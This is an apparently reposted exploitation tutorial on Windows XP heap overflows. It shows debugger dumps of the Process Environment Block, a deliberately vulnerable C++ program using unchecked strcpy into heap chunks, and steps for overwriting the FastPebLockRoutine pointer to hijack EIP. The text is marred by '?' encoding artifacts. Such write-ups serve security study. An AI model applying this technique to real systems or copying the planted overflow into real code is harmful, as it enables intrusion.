文章作者：c0ntexb[at]gmail.com
The PEB (Process Environment Block) is a process specific area of userland memory that contains details about
each running process. Since PEB information is user modifyable, it runs in the context of the process address
space. Information contained in the PEB includes the image base address, heap information, loaded modules and
defined environment variables amongst other things. A quick look at the PEB of a vulnerable application shows
us this information:
0:000> !peb
PEB at 7ffdf000
? ?InheritedAddressSpace:? ?No
? ?ReadImageFileExecOptions: No
? ?BeingDebugged:? ?? ???Yes
? ?ImageBaseAddress:? ?? ?00400000
? ?Ldr? ?? ?? ?? ?? ? 00241ea0
? ?Ldr.Initialized:? ?? ? Yes
? ?Ldr.InInitializationOrderModuleList: 00241f58 . 00242018
? ?Ldr.InLoadOrderModuleList:? ?? ???00241ee0 . 00242008
? ?Ldr.InMemoryOrderModuleList:? ?? ?00241ee8 . 00242010
? ?? ???Base TimeStamp? ?? ?? ?? ???Module
? ?? ? 400000 447748b6 May 26 19:28:06 2006 C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe
? ?? ?77f50000 3eb1b41a May 02 00:56:10 2003 C:\WINXP\System32\
ntdll.dll
? ?? ?77e60000 40d1dbcb Jun 17 18:58:35 2004 C:\WINXP\system32\kernel32.dll
? ?SubSystemData:? ? 00000000
? ?ProcessHeap:? ???00140000
? ?ProcessParameters: 00020000
? ?WindowTitle:??'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
? ?ImageFile:? ?'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
? ?CommandLine:??'"C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe"'
? ?DllPath:? ? 'C:\Documents and Settings\c0ntex\Desktop\testing;C:\WINXP\System32;C:\WINXP\system;
C:\WINXP;.;C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;'
? ?Environment:??00010000
? ?? ?ALLUSERSPROFILE=C:\Documents and Settings\All Users
? ?? ?APPDATA=C:\Documents and Settings\c0ntex\Application Data
? ?? ?CommonProgramFiles=C:\Program Files\Common Files
? ?? ?COMPUTERNAME=b0xen
? ?? ?ComSpec=C:\WINXP\system32\cmd.exe
? ?? ?HOMEDRIVE=C:
? ?? ?HOMEPATH=\
? ?? ?LOGONSERVER=\\secret
? ?? ?NUMBER_OF_PROCESSORS=1
? ?? ?OS=Windows_NT
? ?? ?Path=C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;
? ?? ?PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
? ?? ?PROCESSOR_ARCHITECTURE=x86
? ?? ?PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
? ?? ?PROCESSOR_LEVEL=6
? ?? ?PROCESSOR_REVISION=0905
? ?? ?ProgramFiles=C:\Program Files
? ?? ?SESSIONNAME=Console
? ?? ?SystemDrive=C:
? ?? ?SystemRoot=C:\WINXP
? ?? ?TEMP=c:\temp
? ?? ?TERMID=0645A
? ?? ?TMP=c:\temp
? ?? ?USERDOMAIN=secret
? ?? ?USERNAME=c0ntex
? ?? ?USERPROFILE=C:\Documents and Settings\c0ntex
? ?? ?WINDBG_DIR=C:\Program Files\Debugging Tools for Windows
? ?? ?windir=C:\WINXP
In general the PEB holds some pretty useful information for a user when analysing a process, looking at the
structure in
ntdll.dll, we can see each of the sections:
0:000> dt
ntdll!
_PEB 7ffdf000
??+0x000 InheritedAddressSpace : 0 ''
??+0x001 ReadImageFileExecOptions : 0 ''
??+0x002 BeingDebugged? ?: 0x1 ''
??+0x003 SpareBool? ?? ?: 0 ''
??+0x004 Mutant? ?? ???: 0xffffffff
??+0x008 ImageBaseAddress : 0x00400000
??+0x00c Ldr? ?? ?? ? : 0x00241ea0
_PEB_LDR_DATA
??+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
??+0x014 SubSystemData? ?: (null)
??+0x018 ProcessHeap? ? : 0x00140000
??+0x01c FastPebLock? ? : 0x77fc49e0 _RTL_CRITICAL_SECTION
??+0x020 FastPebLockRoutine : 0x77f5b2a0
??+0x024 FastPebUnlockRoutine : 0x77f5b380
??+0x028 EnvironmentUpdateCount : 1
??+0x02c KernelCallbackTable : (null)
??+0x030 SystemReserved??: [1] 0
??+0x034 ExecuteOptions??: 0y00
??+0x034 SpareBits? ?? ?: 0y000000000000000000000000000000 (0)
??+0x038 FreeList? ?? ?: (null)
??+0x03c TlsExpansionCounter : 0
??+0x040 TlsBitmap? ?? ?: 0x77fc4680
??+0x044 TlsBitmapBits? ?: [2] 0
??+0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
??+0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
??+0x054 ReadOnlyStaticServerData : 0x7f6f0688??-> (null)
??+0x058 AnsiCodePageData : 0x7ffb0000
??+0x05c OemCodePageData??: 0x7ffc1000
??+0x060 UnicodeCaseTableData : 0x7ffd2000
??+0x064 NumberOfProcessors : 1
??+0x068 NtGlobalFlag? ? : 0x70
??+0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
??+0x078 HeapSegmentReserve : 0x100000
??+0x07c HeapSegmentCommit : 0x2000
??+0x080 HeapDeCommitTotalFreeThreshold : 0x10000
??+0x084 HeapDeCommitFreeBlockThreshold : 0x1000
??+0x088 NumberOfHeaps? ?: 3
??+0x08c MaximumNumberOfHeaps : 0x10
??+0x090 ProcessHeaps? ? : 0x77fc5a80??-> 0x00140000
??+0x094 GdiSharedHandleTable : (null)
??+0x098 ProcessStarterHelper : (null)
??+0x09c GdiDCAttributeList : 0
??+0x0a0 LoaderLock? ???: 0x77fc1774
??+0x0a4 OSMajorVersion??: 5
??+0x0a8 OSMinorVersion??: 1
??+0x0ac OSBuildNumber? ?: 0xa28
??+0x0ae OSCSDVersion? ? : 0x100
??+0x0b0 OSPlatformId? ? : 2
??+0x0b4 ImageSubsystem??: 3
??+0x0b8 ImageSubsystemMajorVersion : 4
??+0x0bc ImageSubsystemMinorVersion : 0
??+0x0c0 ImageProcessAffinityMask : 0
??+0x0c4 GdiHandleBuffer??: [34] 0
??+0x14c PostProcessInitRoutine : (null)
??+0x150 TlsExpansionBitmap : 0x77fc4660
??+0x154 TlsExpansionBitmapBits : [32] 0
??+0x1d4 SessionId? ?? ?: 0
??+0x1d8 AppCompatFlags??: _ULARGE_INTEGER 0x0
??+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
??+0x1e8 pShimData? ?? ?: (null)
??+0x1ec AppCompatInfo? ?: (null)
??+0x1f0 CSDVersion? ???: _UNICODE_STRING "Service Pack 1"
??+0x1f8 ActivationContextData : (null)
??+0x1fc ProcessAssemblyStorageMap : (null)
??+0x200 SystemDefaultActivationContextData : 0x00130000
??+0x204 SystemAssemblyStorageMap : (null)
??+0x208 MinimumStackCommit : 0
In exploitation, the PEB becomes a useful target due to the fact of it's stability, and the actual sections
that we utilise are the FastPebLockRoutine and FastPebUnlockRoutine pointers.
0:000> dt
ntdll!
_PEB 7ffdf000
??... SNIP ...
??+0x01c FastPebLock? ? : 0x77fc49e0 _RTL_CRITICAL_SECTION
??+0x020 FastPebLockRoutine : 0x77f5b2a0
??+0x024 FastPebUnlockRoutine : 0x77f5b380
??... SNIP ...
Overwriting FastPebLockRoutine is actually overwriting a pointer to RtlEnterCriticalSection:
? ?? ?FastPebLockRoutine
? ?? ?DS:[7FFDF020]=77F5B2A0 (
ntdll.RtlEnterCriticalSection)
and overwriting FastPebUnlockRoutine is actually overwriting the RtlLeaveCriticalSection pointer:
? ?? ?FastPebUnlockRoutine
? ?? ?DS:[7FFDF024]=77F5B380 (
ntdll.RtlLeaveCriticalSection)
Now we shall continue the example and work a vulnerable piece of code!
////
//??Heap_Overflow.cpp
////
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
? ?? ?HLOCAL peb_chunk1 = NULL;
? ?? ?HLOCAL peb_chunk2 = NULL;
? ?? ?HANDLE peb_heap = NULL;
? ?? ?printf("\nAn example heap overflow bug\n");
? ?? ?if(argc < 2) {
? ?? ?? ???printf("Usage: ./peb.exe string1 string2\n");
? ?? ?? ???exit(1);
? ?? ?}
? ?? ?peb_heap = HeapCreate(0x00, 0x00, 0x00);
? ?? ?peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);
? ?? ?strcpy((char *)peb_chunk1, argv[1]);
? ?? ?peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
? ?? ?strcpy((char *)peb_chunk1, argv[2]);
? ?? ?HeapFree(peb_heap, 0x00, peb_chunk1);
? ?? ?HeapFree(peb_heap, 0x00, peb_chunk2);
? ?? ?HeapDestroy(peb_heap);
? ?? ?return 0;
}
On running the program in Windbg, we shall pass the application a large string to trigger the heap overflow
bug and eventually the program will crash at the following location:
77f8452d 8901? ?? ?? ?mov? ? [ecx],eax? ?? ?ds:0023:61616161=????????
77f8452f 894804? ?? ???mov? ? [eax+0x4],ecx
the registers will look like so:
eax=61616161 ebx=00000024 ecx=61616161 edx=003407a0 esi=003407a0 edi=00340000
eip=77f8452d esp=0012f814 ebp=0012fa2c iopl=0? ?? ?nv up ei pl zr na po nc
cs=001b??ss=0023??ds=0023??es=0023??fs=0038??gs=0000? ?? ?? ?efl=00010246
ntdll!RtlAllocateHeapSlowly+0x6bd:
77f8452d 8901? ?? ?? ?mov? ? [ecx],eax? ?? ?ds:0023:61616161=????????
and as we see, we control EAX and ECX, giving us the chance to write-anything-anywhere. This is a standard
heap overflow utilising the above FLINK and BLINK pointers from the heap routines. Examining the Un/Locking
pointer location prior to exploitation, they look something like so:
0:000> dd 0c7ffdf020 L4
7ffdf020??77f5b2a0 77f5b380 00000001 00000000
Here, the PEB Lock pointer [7FFDF020] points to [77F5B2A0]
and the PEB Unlock pointer [7FFDF024] points to [77F5B380]
So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.
In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the
registers will look similar to the following:
EAX 61616161? ?<---- Our malicious address to write
ECX 7FFDF020? ?<---- Our jacked pointer to write over
EDX 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EBX 00000024
ESP 0012F79C
EBP 0012F9B4
ESI 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EDI 00350000
EIP 77F8452D
ntdll.77F8452D
and the MOV DWORD PTR DS:[ECX],EAX will overwrite 7FFDF020 with our malicious values (perhaps a call or jmp
to ECX). The second MOV will fail and access violate, but I don't care here. Next, we continue the process
in Olly with Shift +f7 and suddenly we see some magic. We have our pointer overwritten prefectly:
? ?? ?7FFDF020??61 61 61 61 80 B3 F5 77??aaaa